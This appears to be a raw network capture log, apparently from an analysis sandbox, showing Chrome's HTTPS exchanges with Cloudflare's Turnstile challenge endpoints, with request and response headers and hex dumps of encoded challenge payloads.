2025-01-22 06:24:13 UTC	1175	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/431424420:1737523604:zQsNKK_EULmLK6t-Izi3ZT6_56oVUwerMj_ulv66oTg/905d758c9c7f5e68/xZy1J9QD_T__5I8odcDMzLJ0YRHiFDf_j_vkwqg7yz8-1737527047-1.1.1.1-hkYFqkAksropzwGMvswgkxmoSZn3vG.4JsNtaGh_XjxdJsgj9xNxQOaIcEobJFoI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32800 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: xZy1J9QD_T__5I8odcDMzLJ0YRHiFDf_j_vkwqg7yz8-1737527047-1.1.1.1-hkYFqkAksropzwGMvswgkxmoSZn3vG.4JsNtaGh_XjxdJsgj9xNxQOaIcEobJFoI sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fjr99/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:13 UTC	16384	OUT	Data Raw: 76 5f 39 30 35 64 37 35 38 63 39 63 37 66 35 65 36 38 3d 52 67 64 51 72 62 7a 37 4a 5a 67 49 67 30 4e 78 50 78 38 78 39 6f 30 37 62 53 78 6e 78 6c 51 69 67 62 42 78 6b 51 54 44 6c 7a 53 78 44 4e 51 62 66 4e 68 57 48 78 66 51 64 4a 62 6d 6e 64 78 52 62 78 62 59 67 78 32 6c 25 32 62 75 75 78 41 4b 54 30 43 64 78 68 55 7a 52 78 54 4a 78 47 78 7a 2b 44 44 78 75 6c 7a 5a 56 51 74 38 50 6c 78 36 51 78 53 33 78 68 64 7a 45 78 70 64 7a 35 78 49 44 50 4f 33 5a 51 61 53 78 55 51 68 53 74 5a 66 62 78 78 5a 54 78 7a 71 58 77 64 73 7a 4b 4a 78 62 47 35 50 74 2b 4c 2b 77 6f 44 50 78 7a 52 4a 79 70 72 30 35 61 38 50 7a 2b 72 66 42 46 38 57 77 68 37 31 49 75 78 52 42 75 78 61 74 75 36 2b 37 48 53 76 5a 4e 38 2b 78 73 67 50 4e 6a 54 6f 76 71 6a 2b 7a 46 45 65 47 53 74 50 Data Ascii: v_905d758c9c7f5e68=RgdQrbz7JZgIg0NxPx8x9o07bSxnxlQigbBxkQTDlzSxDNQbfNhWHxfQdJbmndxRbxbYgx2l%2buuxAKT0CdxhUzRxTJxGxz+DDxulzZVQt8Plx6QxS3xhdzExpdz5xIDPO3ZQaSxUQhStZfbxxZTxzqXwdszKJxbG5Pt+L+woDPxzRJypr05a8Pz+rfBF8Wwh71IuxRBuxatu6+7HSvZN8+xsgPNjTovqj+zFEeGStP
2025-01-22 06:24:13 UTC	16384	OUT	Data Raw: 41 30 62 6d 6e 4e 41 4e 78 74 33 59 33 43 4f 6f 78 6f 51 62 64 7a 46 78 55 51 74 78 68 37 7a 37 6d 24 78 61 4a 7a 6a 46 61 75 5a 4a 78 66 78 30 4c 2d 53 78 65 78 24 78 62 49 7a 56 78 7a 56 2d 30 78 78 78 4d 75 7a 79 2d 6f 78 59 75 68 6d 78 75 78 45 75 68 4f 78 36 78 75 6c 62 51 7a 53 78 57 6c 6f 53 7a 61 78 44 6c 61 67 78 45 51 38 4e 68 79 78 65 78 58 69 62 50 2d 75 78 78 4a 61 30 78 55 30 55 51 30 6c 78 53 55 24 37 77 70 51 6a 33 54 51 69 6c 78 55 78 75 4a 62 51 78 78 51 78 69 78 67 68 65 78 4f 5a 30 6c 7a 32 62 36 6d 4f 51 78 6c 78 6f 39 6c 56 78 6c 78 74 77 39 30 68 6b 78 71 75 68 71 7a 53 78 37 6c 7a 78 78 66 78 6d 75 30 56 32 77 4f 38 76 61 30 78 76 24 37 62 50 51 4a 6d 24 75 78 57 44 6d 72 46 32 62 65 75 4a 79 24 6f 52 6c 31 6d 56 24 61 6e 4f 42 4c Data Ascii: A0bmnNANxt3Y3COoxoQbdzFxUQtxh7z7m$xaJzjFauZJxfx0L-Sxex$xbIzVxzV-0xxxMuzy-oxYuhmxuxEuhOx6xulbQzSxWloSzaxDlagxEQ8NhyxexXibP-uxxJa0xU0UQ0lxSU$7wpQj3TQilxUxuJbQxxQxixghexOZ0lz2b6mOQxlxo9lVxlxtw90hkxquhqzSx7lzxxfxmu0V2wO8va0xv$7bPQJm$uxWDmrF2beuJy$oRl1mV$anOBL
2025-01-22 06:24:13 UTC	32	OUT	Data Raw: 2d 31 45 6c 65 43 6b 73 2b 45 4a 79 43 59 56 35 45 79 4f 30 32 7a 4e 75 62 46 67 73 6d 51 78 78 Data Ascii: -1EleCks+EJyCYV5EyO02zNubFgsmQxx
2025-01-22 06:24:13 UTC	322	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 06:24:13 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 27152 Connection: close cf-chl-gen: +R6QgPrPBaKtSNZG/ee3xcmFOfL9oNWFYLkIj9sghRAZb12R1IrEG+fA1igcpVvi$9OHcBhbhrqJ+nSi9WEfR1g== Server: cloudflare CF-RAY: 905d75b289f1c33e-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 06:24:13 UTC	1047	IN	Data Raw: 62 46 47 4d 54 59 6c 70 64 48 47 4d 57 57 78 7a 6a 33 4f 42 6f 6e 46 6a 58 46 36 6d 66 4b 64 69 71 6f 47 4e 65 48 43 46 6a 59 69 30 6f 57 36 54 73 33 4b 54 6b 36 53 62 66 72 4f 67 65 63 47 59 65 38 61 7a 73 34 47 31 70 62 6d 4a 79 61 47 33 69 34 50 48 71 49 7a 47 77 38 61 59 30 35 44 53 33 62 66 66 74 4a 69 38 7a 39 4f 65 6c 38 48 49 71 4f 4f 6b 76 63 47 66 76 62 76 78 78 72 44 6c 78 2b 2b 77 79 38 32 72 31 63 53 33 39 39 6e 58 75 73 7a 4e 32 41 55 48 38 2f 62 45 79 4f 58 30 78 50 37 5a 35 42 49 44 41 41 4c 54 36 68 41 50 47 51 59 45 44 4e 55 61 2b 52 6a 64 43 67 73 4e 2f 41 4c 33 39 68 54 66 42 79 66 72 46 79 62 6f 48 69 6b 71 49 77 63 6a 37 43 30 4e 42 44 6b 37 45 67 6a 39 50 42 55 76 4e 66 73 61 4e 68 49 49 4f 69 63 59 4c 51 56 4c 43 6a 67 4d 49 79 35 Data Ascii: bFGMTYlpdHGMWWxzj3OBonFjXF6mfKdiqoGNeHCFjYi0oW6Ts3KTk6SbfrOgecGYe8azs4G1pbmJyaG3i4PHqIzGw8aY05DS3bfftJi8z9Oel8HIqOOkvcGfvbvxxrDlx++wy82r1cS399nXuszN2AUH8/bEyOX0xP7Z5BIDAALT6hAPGQYEDNUa+RjdCgsN/AL39hTfByfrFyboHikqIwcj7C0NBDk7Egj9PBUvNfsaNhIIOicYLQVLCjgMIy5
2025-01-22 06:24:13 UTC	1369	IN	Data Raw: 5a 61 5a 5a 31 5a 49 4e 2f 66 6d 75 6c 6a 4a 52 78 71 62 53 79 69 34 2b 62 73 37 57 54 6e 36 79 54 71 63 4f 37 72 5a 2b 77 6a 37 65 42 79 63 47 6a 77 4b 66 47 69 71 4b 78 71 36 47 75 73 64 58 4a 71 70 48 51 6b 74 43 33 31 70 6d 5a 30 4d 48 42 70 5a 2f 52 6f 65 69 6a 30 36 58 4f 6f 4e 2f 71 75 63 54 70 79 76 50 48 36 65 7a 6c 38 66 58 50 31 77 44 7a 36 50 6b 45 39 2b 4d 47 76 77 4c 46 2f 63 45 42 31 4e 30 4f 2b 66 6a 63 7a 76 44 38 41 52 54 74 39 68 45 4f 2b 66 67 56 49 41 72 76 2b 68 6f 4d 47 4e 76 77 2b 78 33 7a 46 43 51 43 35 79 37 6d 2b 66 34 79 49 2b 77 50 43 52 54 77 41 78 63 57 47 54 59 72 43 41 30 4d 46 52 51 54 50 68 67 31 41 6a 59 45 4f 53 30 47 43 55 63 6a 49 44 74 4b 45 56 5a 4f 54 7a 49 72 56 53 70 61 4d 68 73 33 53 55 30 61 54 6b 4e 64 61 46 Data Ascii: ZaZZ1ZIN/fmuljJRxqbSyi4+bs7WTn6yTqcO7rZ+wj7eBycGjwKfGiqKxq6GusdXJqpHQktC31pmZ0MHBpZ/Roeij06XOoN/qucTpyvPH6ezl8fXP1wDz6PkE9+MGvwLF/cEB1N0O+fjczvD8ARTt9hEO+fgVIArv+hoMGNvw+x3zFCQC5y7m+f4yI+wPCRTwAxcWGTYrCA0MFRQTPhg1AjYEOS0GCUcjIDtKEVZOTzIrVSpaMhs3SU0aTkNdaF
2025-01-22 06:24:13 UTC	1369	IN	Data Raw: 6f 59 36 64 73 61 5a 79 6e 5a 2b 6b 71 37 70 7a 65 36 6c 39 6d 5a 65 77 6f 4a 71 78 76 37 6c 38 6d 48 36 55 77 34 71 35 71 4c 69 6a 7a 61 7a 54 6b 4d 2b 4c 77 34 33 4f 71 4b 4b 6c 30 35 76 57 6e 4a 4c 66 73 39 44 41 75 37 65 5a 73 63 58 68 31 37 32 2f 35 64 76 42 76 2b 6e 66 78 4c 2f 74 34 38 65 72 79 73 54 36 2f 63 76 52 31 4c 2b 2b 75 75 4c 34 77 51 48 67 33 39 6a 61 33 2b 66 32 32 50 48 61 43 38 73 4e 30 42 4c 57 41 65 48 72 43 75 6f 4b 48 68 76 79 46 67 38 63 47 65 33 59 47 66 33 39 2b 53 45 72 49 65 34 49 36 79 66 74 2b 2f 34 70 38 53 58 7a 4b 41 6f 48 44 52 6f 31 51 54 34 33 48 43 77 6b 4e 6b 49 54 52 52 73 54 42 52 31 45 42 30 59 6a 53 44 46 43 48 30 30 56 49 43 4e 52 47 69 51 6e 56 52 55 6f 4b 31 6f 72 49 6c 55 67 5a 6c 34 78 58 6a 4e 4e 4b 7a 77 Data Ascii: oY6dsaZynZ+kq7pze6l9mZewoJqxv7l8mH6Uw4q5qLijzazTkM+Lw43OqKKl05vWnJLfs9DAu7eZscXh172/5dvBv+nfxL/t48erysT6/cvR1L++uuL4wQHg39ja3+f22PHaC8sN0BLWAeHrCuoKHhvyFg8cGe3YGf39+SErIe4I6yft+/4p8SXzKAoHDRo1QT43HCwkNkITRRsTBR1EB0YjSDFCH00VICNRGiQnVRUoK1orIlUgZl4xXjNNKzw
2025-01-22 06:24:13 UTC	1369	IN	Data Raw: 49 47 50 74 6e 53 59 64 5a 4b 30 6c 4a 79 6f 6a 4d 4b 7a 6f 33 32 50 73 4d 4b 78 66 49 58 4c 69 63 57 46 76 4c 76 52 70 39 4f 51 7a 36 72 55 6f 34 7a 4d 73 61 32 73 31 4a 6d 74 77 4b 37 61 34 4c 54 64 33 36 6e 5a 76 37 37 62 7a 72 33 66 71 64 50 69 76 76 58 4a 36 39 4c 48 36 4f 6a 53 75 74 6e 65 37 74 37 62 38 74 32 39 2f 75 2f 44 2f 4d 72 39 33 41 50 4a 32 51 45 46 7a 51 54 38 43 64 45 4d 36 67 33 56 44 78 55 52 32 52 4d 4a 46 64 30 57 48 52 6e 68 47 68 45 64 35 52 72 2b 49 65 6b 64 36 79 41 43 2f 67 55 53 4c 54 6b 32 4c 78 51 6b 48 43 34 36 45 78 41 34 4f 54 34 62 50 53 52 47 45 30 49 70 46 42 64 46 44 52 67 62 53 52 49 63 48 30 30 4e 43 6b 63 35 57 31 49 62 55 42 56 4f 53 56 63 74 4f 46 70 41 5a 6c 64 62 4b 54 63 6a 4f 32 42 4a 4c 48 45 74 56 45 46 4d Data Ascii: IGPtnSYdZK0lJyojMKzo32PsMKxfIXLicWFvLvRp9OQz6rUo4zMsa2s1JmtwK7a4LTd36nZv77bzr3fqdPivvXJ69LH6OjSutne7t7b8t29/u/D/Mr93APJ2QEFzQT8CdEM6g3VDxUR2RMJFd0WHRnhGhEd5Rr+Iekd6yAC/gUSLTk2LxQkHC46ExA4OT4bPSRGE0IpFBdFDRgbSRIcH00NCkc5W1IbUBVOSVctOFpAZldbKTcjO2BJLHEtVEFM
2025-01-22 06:24:13 UTC	1369	IN	Data Raw: 32 4c 74 61 75 51 69 37 6d 76 6b 33 65 57 6b 4d 62 4a 6c 35 32 67 69 34 71 47 72 73 53 4e 7a 4c 53 4e 72 4a 65 6c 31 35 65 58 75 36 6a 57 76 4e 71 70 32 73 2f 69 72 64 37 55 73 4c 48 69 32 62 6a 72 77 62 6e 45 36 4d 58 74 31 64 37 32 77 39 50 61 78 63 6e 6d 78 66 4f 2b 2f 50 62 2b 76 50 44 42 30 4e 62 43 34 77 75 39 36 64 38 45 2b 74 33 6d 36 66 4c 4c 44 63 38 4d 31 2b 6b 4a 42 68 58 6c 2b 51 34 62 33 77 49 62 31 68 38 61 35 53 67 58 39 43 67 57 36 77 41 74 4a 67 55 68 4c 77 51 45 38 68 51 78 4a 54 6f 57 39 43 6b 5a 48 76 78 44 44 52 50 2b 46 44 56 44 48 52 67 36 54 45 30 66 53 7a 73 48 55 30 38 6e 55 44 49 50 51 6b 64 4e 45 54 30 62 4d 46 5a 5a 57 46 5a 66 4c 46 59 33 48 6d 4a 57 58 43 74 6a 4a 7a 74 43 54 53 6c 44 58 47 6c 4a 52 6d 52 58 4e 31 45 33 57 Data Ascii: 2LtauQi7mvk3eWkMbJl52gi4qGrsSNzLSNrJel15eXu6jWvNqp2s/ird7UsLHi2bjrwbnE6MXt1d72w9PaxcnmxfO+/Pb+vPDB0NbC4wu96d8E+t3m6fLLDc8M1+kJBhXl+Q4b3wIb1h8a5SgX9CgW6wAtJgUhLwQE8hQxJToW9CkZHvxDDRP+FDVDHRg6TE0fSzsHU08nUDIPQkdNET0bMFZZWFZfLFY3HmJWXCtjJztCTSlDXGlJRmRXN1E3W
2025-01-22 06:24:13 UTC	1369	IN	Data Raw: 76 6c 37 43 57 66 62 61 6b 76 71 47 39 71 63 47 4f 75 70 6d 79 73 59 75 76 74 39 4c 51 32 4c 47 36 31 4d 33 48 7a 4b 43 78 34 4d 50 4d 72 62 36 39 33 74 6e 48 33 2b 54 47 7a 73 62 6f 38 63 50 6f 76 73 4f 75 35 4d 50 69 74 2b 37 5a 75 4e 44 39 39 74 33 74 37 4e 4c 59 39 75 50 6a 79 4e 58 70 39 63 77 45 7a 4f 55 50 44 38 30 56 7a 2f 62 58 37 64 63 45 36 2b 62 77 46 66 49 4e 31 39 72 64 35 42 51 53 2b 4f 49 46 34 77 6f 6c 34 78 34 72 44 52 34 4a 45 42 30 69 4e 6a 41 59 4c 51 67 56 38 7a 77 62 4c 42 5a 41 51 66 6f 50 4c 6a 38 6e 46 42 6b 44 46 51 30 57 49 78 77 38 44 43 45 4f 55 44 45 31 43 6a 46 45 4c 7a 6b 73 54 30 6b 30 4e 69 70 58 58 46 68 67 5a 69 68 42 56 30 4d 33 4e 6a 31 4d 4b 46 35 46 4c 69 78 4e 55 6b 5a 44 52 6c 4d 32 4e 6b 68 4a 56 31 46 35 65 54 Data Ascii: vl7CWfbakvqG9qcGOupmysYuvt9LQ2LG61M3HzKCx4MPMrb693tnH3+TGzsbo8cPovsOu5MPit+7ZuND99t3t7NLY9uPjyNXp9cwEzOUPD80Vz/bX7dcE6+bwFfIN19rd5BQS+OIF4wol4x4rDR4JEB0iNjAYLQgV8zwbLBZAQfoPLj8nFBkDFQ0WIxw8DCEOUDE1CjFELzksT0k0NipXXFhgZihBV0M3Nj1MKF5FLixNUkZDRlM2NkhJV1F5eT
2025-01-22 06:24:13 UTC	1369	IN	Data Raw: 66 48 32 37 72 5a 37 4d 6a 38 6d 4f 7a 38 32 4c 73 61 4c 42 31 71 53 6f 78 74 6d 62 6c 71 43 72 6e 70 76 66 77 4d 47 30 30 74 50 44 71 64 76 57 76 75 75 76 72 71 69 2b 34 4c 54 41 74 4d 2b 33 72 4c 48 35 39 38 61 78 2f 62 65 2b 75 64 7a 68 33 37 33 32 35 64 6a 55 43 67 50 4b 78 65 63 48 7a 73 6b 45 34 64 37 4e 42 67 7a 6f 34 2f 50 63 35 74 45 4f 49 39 54 76 2f 4f 33 30 33 64 37 6e 36 75 45 46 46 2b 76 6c 2b 50 6b 4d 2f 44 49 7a 36 41 45 6e 47 66 6e 78 4f 6a 67 48 44 43 34 41 41 50 6b 64 49 68 58 39 49 41 45 5a 46 54 73 57 4b 41 59 48 52 78 41 63 4c 46 41 66 43 6c 5a 62 46 79 55 32 4c 52 55 70 54 6d 4d 6a 47 6a 78 67 4c 78 34 66 49 42 30 34 52 54 6b 74 4a 69 64 6b 4f 7a 31 69 4e 44 64 42 5a 6a 46 55 52 46 51 38 50 7a 4a 76 59 6c 41 32 63 6b 41 35 56 48 61 Data Ascii: fH27rZ7Mj8mOz82LsaLB1qSoxtmblqCrnpvfwMG00tPDqdvWvuuvrqi+4LTAtM+3rLH598ax/be+udzh37325djUCgPKxecHzskE4d7NBgzo4/Pc5tEOI9Tv/O303d7n6uEFF+vl+PkM/DIz6AEnGfnxOjgHDC4AAPkdIhX9IAEZFTsWKAYHRxAcLFAfClZbFyU2LRUpTmMjGjxgLx4fIB04RTktJidkOz1iNDdBZjFURFQ8PzJvYlA2ckA5VHa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49768	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:14 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/431424420:1737523604:zQsNKK_EULmLK6t-Izi3ZT6_56oVUwerMj_ulv66oTg/905d758c9c7f5e68/xZy1J9QD_T__5I8odcDMzLJ0YRHiFDf_j_vkwqg7yz8-1737527047-1.1.1.1-hkYFqkAksropzwGMvswgkxmoSZn3vG.4JsNtaGh_XjxdJsgj9xNxQOaIcEobJFoI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:14 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Wed, 22 Jan 2025 06:24:14 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: vyyiorm6nR3knLS5+dWZBQW9UmbmP2yf41C98Bs8KcE+wUv2O4ZoVs0RENUBnc+nM2yy2R2nzEt0KfvOxebXTw==$QPp9qnMR3xU1krtPBx/csA== Server: cloudflare CF-RAY: 905d75b80d634382-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 06:24:14 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49770	104.18.95.41	443	5628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 06:24:19 UTC	1175	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/431424420:1737523604:zQsNKK_EULmLK6t-Izi3ZT6_56oVUwerMj_ulv66oTg/905d758c9c7f5e68/xZy1J9QD_T__5I8odcDMzLJ0YRHiFDf_j_vkwqg7yz8-1737527047-1.1.1.1-hkYFqkAksropzwGMvswgkxmoSZn3vG.4JsNtaGh_XjxdJsgj9xNxQOaIcEobJFoI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 35204 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: xZy1J9QD_T__5I8odcDMzLJ0YRHiFDf_j_vkwqg7yz8-1737527047-1.1.1.1-hkYFqkAksropzwGMvswgkxmoSZn3vG.4JsNtaGh_XjxdJsgj9xNxQOaIcEobJFoI sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fjr99/0x4AAAAAAA5pnBhoTgM91kpZ/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 06:24:19 UTC	16384	OUT	Data Raw: 76 5f 39 30 35 64 37 35 38 63 39 63 37 66 35 65 36 38 3d 52 67 64 51 72 62 7a 37 4a 5a 67 49 67 30 4e 78 50 78 38 78 39 6f 30 37 62 53 78 6e 78 6c 51 69 67 62 42 78 6b 51 54 44 6c 7a 53 78 44 4e 51 62 66 4e 68 57 48 78 66 51 64 4a 62 6d 6e 64 78 52 62 78 62 59 67 78 32 6c 25 32 62 75 75 78 41 4b 54 30 43 64 78 68 55 7a 52 78 54 4a 78 47 78 7a 2b 44 44 78 75 6c 7a 5a 56 51 74 38 50 6c 78 36 51 78 53 33 78 68 64 7a 45 78 70 64 7a 35 78 49 44 50 4f 33 5a 51 61 53 78 55 51 68 53 74 5a 66 62 78 78 5a 54 78 7a 71 58 77 64 73 7a 4b 4a 78 62 47 35 50 74 2b 4c 2b 77 6f 44 50 78 7a 52 4a 79 70 72 30 35 61 38 50 7a 2b 72 66 42 46 38 57 77 68 37 31 49 75 78 52 42 75 78 61 74 75 36 2b 37 48 53 76 5a 4e 38 2b 78 73 67 50 4e 6a 54 6f 76 71 6a 2b 7a 46 45 65 47 53 74 50 Data Ascii: v_905d758c9c7f5e68=RgdQrbz7JZgIg0NxPx8x9o07bSxnxlQigbBxkQTDlzSxDNQbfNhWHxfQdJbmndxRbxbYgx2l%2buuxAKT0CdxhUzRxTJxGxz+DDxulzZVQt8Plx6QxS3xhdzExpdz5xIDPO3ZQaSxUQhStZfbxxZTxzqXwdszKJxbG5Pt+L+woDPxzRJypr05a8Pz+rfBF8Wwh71IuxRBuxatu6+7HSvZN8+xsgPNjTovqj+zFEeGStP
2025-01-22 06:24:19 UTC	16384	OUT	Data Raw: 41 30 62 6d 6e 4e 41 4e 78 74 33 59 33 43 4f 6f 78 6f 51 62 64 7a 46 78 55 51 74 78 68 37 7a 37 6d 24 78 61 4a 7a 6a 46 61 75 5a 4a 78 66 78 30 4c 2d 53 78 65 78 24 78 62 49 7a 56 78 7a 56 2d 30 78 78 78 4d 75 7a 79 2d 6f 78 59 75 68 6d 78 75 78 45 75 68 4f 78 36 78 75 6c 62 51 7a 53 78 57 6c 6f 53 7a 61 78 44 6c 61 67 78 45 51 38 4e 68 79 78 65 78 58 69 62 50 2d 75 78 78 4a 61 30 78 55 30 55 51 30 6c 78 53 55 24 37 77 70 51 6a 33 54 51 69 6c 78 55 78 75 4a 62 51 78 78 51 78 69 78 67 68 65 78 4f 5a 30 6c 7a 32 62 36 6d 4f 51 78 6c 78 6f 39 6c 56 78 6c 78 74 77 39 30 68 6b 78 71 75 68 71 7a 53 78 37 6c 7a 78 78 66 78 6d 75 30 56 32 77 4f 38 76 61 30 78 76 24 37 62 50 51 4a 6d 24 75 78 57 44 6d 72 46 32 62 65 75 4a 79 24 6f 52 6c 31 6d 56 24 61 6e 4f 42 4c Data Ascii: A0bmnNANxt3Y3COoxoQbdzFxUQtxh7z7m$xaJzjFauZJxfx0L-Sxex$xbIzVxzV-0xxxMuzy-oxYuhmxuxEuhOx6xulbQzSxWloSzaxDlagxEQ8NhyxexXibP-uxxJa0xU0UQ0lxSU$7wpQj3TQilxUxuJbQxxQxixghexOZ0lz2b6mOQxlxo9lVxlxtw90hkxquhqzSx7lzxxfxmu0V2wO8va0xv$7bPQJm$uxWDmrF2beuJy$oRl1mV$anOBL
2025-01-22 06:24:19 UTC	2436	OUT	Data Raw: 62 78 68 2b 43 56 57 30 57 52 78 6f 6a 53 4d 78 49 75 5a 58 74 47 4a 36 52 4a 50 7a 64 51 5a 6c 5a 53 54 34 56 33 46 69 65 31 50 4e 6a 55 66 45 62 34 24 46 6c 7a 53 7a 4f 64 69 65 34 43 69 70 75 42 6f 44 62 41 48 35 33 6b 4d 6d 78 46 78 52 2d 61 75 6d 64 43 34 48 48 46 78 44 53 30 5a 56 64 7a 6d 4f 56 58 68 36 57 47 34 36 46 38 46 78 6f 78 77 67 78 71 78 33 49 5a 51 68 4e 56 65 64 6e 4b 38 4f 6f 2b 62 53 71 7a 54 6c 61 78 7a 78 41 65 51 4d 4c 56 31 4a 4c 78 4d 78 58 67 78 41 70 34 51 55 64 64 37 78 6d 30 43 67 5a 79 7a 41 43 34 55 61 56 78 74 78 5a 53 49 51 49 62 48 67 6c 30 64 7a 4e 55 43 4e 5a 74 78 38 78 49 4f 62 4d 72 32 75 65 79 33 77 78 30 6c 47 5a 4a 50 41 73 30 6d 56 43 36 72 38 53 47 4a 6a 46 7a 53 2d 78 75 5a 35 2b 49 72 6d 51 5a 69 7a 66 6e 77 Data Ascii: bxh+CVW0WRxojSMxIuZXtGJ6RJPzdQZlZST4V3Fie1PNjUfEb4$FlzSzOdie4CipuBoDbAH53kMmxFxR-aumdC4HHFxDS0ZVdzmOVXh6WG46F8Fxoxwgxqx3IZQhNVednK8Oo+bSqzTlaxzxAeQMLV1JLxMxXgxAp4QUdd7xm0CgZyzAC4UaVxtxZSIQIbHgl0dzNUCNZtx8xIObMr2uey3wx0lGZJPAs0mVC6r8SGJjFzS-xuZ5+IrmQZizfnw
2025-01-22 06:24:19 UTC	1244	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 06:24:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4924 Connection: close cf-chl-out-s: 8lXqbGz95foe6sSm6mROzi5h89lVRPpY2kmlVMc+a+g9FGAWdYOTcB7SRNASkGu67f1tzwmay2rG5O7jgEPxnKhnlmZNawwxJ2/U61yDvkByxaE349hiWx+UMI4crv7RiDMriU8HRRxTuSAn5yPN+YRQrhGHFmLV44dmyIpSx/Omijh7AnBnlyvbp/8U+38etJgt5UWZ4CvdNg65LGZc12dKbwnAeihylBOH6dT2nrxKw3rY9PjGI1KZnW3Pv2SY/BnEl2koUyuT77JI/seWsUm++A5eupzzM5tSWuXu4fbOm/ETMFf4ZVF734Z4GAz35w3aKY4oLaEyKu/Am/KRW4oToKTJioq6Flqft9t6xRAvXbz2IF0aMjKvkHMVkXgjJbych7mp+wBIXvyqYowWbQ947Wn1ZRd8D33coGHrfcYfMbZCAmnJ3AfDaZ+8iYBdQeKfCXt9ROfPdFYPVlpBlfcO8id0Yty8wPLOHgwYgMfOFv1h08lVw8vjCYI1oTkiXzy8UFhKesW7Q/TmrwnT32RawwA3UgKYZoOvPtl2IwpjCdiQIoo1M3ON1U8A72muzPvalsqdYV1XuymqK3U0/TnDXOzfpU7egXfleREhmtOnCKEe7GeelFq0JWZ9s7+jxXxBYPwuKM2P/IVVQ7wJ/szJfuzqTVuW/3EkK6mpb8nx1wAzVsTkWWyViWWPTiwMgTivCRHxKUv2BvOpftOc/M53Qk6Ss074BwPg/Q02AMLhhLQ5Fbvf8hnc5bPkb1pkq0Oq6RSDvhXhr+P6ZrfLwtEP/s51sm48m9/pkMdwamGmtCAxyXeWwNI1rbW0A3z9mA6nki8fitesexnOx5R3fQAXSmTwB/8Cj+agmWf8vxG1VrACoNURpx6CchVvwZb8hT1jtxbyF5/rB2mW5Lsi5QV0Dv1DfeRT+9I+OiyN6xjit8O00XEoqkiT+tyRlCBr6cp0lMLeJCxNUkZnj/B7Tv6wE2l9WITsDcn2l3AB+sF24dGPPu [TRUNCATED]
2025-01-22 06:24:19 UTC	229	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 49 4d 30 6a 52 55 65 4c 51 4c 6a 4e 79 41 59 44 33 41 44 4b 48 62 2b 78 31 72 62 6f 35 46 65 68 71 31 6e 77 39 62 41 34 43 68 66 58 41 6d 79 47 65 66 4a 76 72 41 51 6c 66 6d 61 71 37 63 2f 4b 61 2f 51 4a 50 6f 6a 50 69 42 33 74 6f 41 68 62 41 6c 79 4a 75 69 73 55 54 50 38 4e 48 68 4f 65 47 70 57 49 55 6f 54 6d 76 66 77 3d 24 50 34 38 34 48 6b 37 6f 54 42 58 69 52 49 53 69 59 38 70 48 61 41 3d 3d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 35 64 37 35 64 37 38 63 62 34 37 32 37 64 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cf-chl-out: IM0jRUeLQLjNyAYD3ADKHb+x1rbo5Fehq1nw9bA4ChfXAmyGefJvrAQlfmaq7c/Ka/QJPojPiB3toAhbAlyJuisUTP8NHhOeGpWIUoTmvfw=$P484Hk7oTBXiRISiY8pHaA==Server: 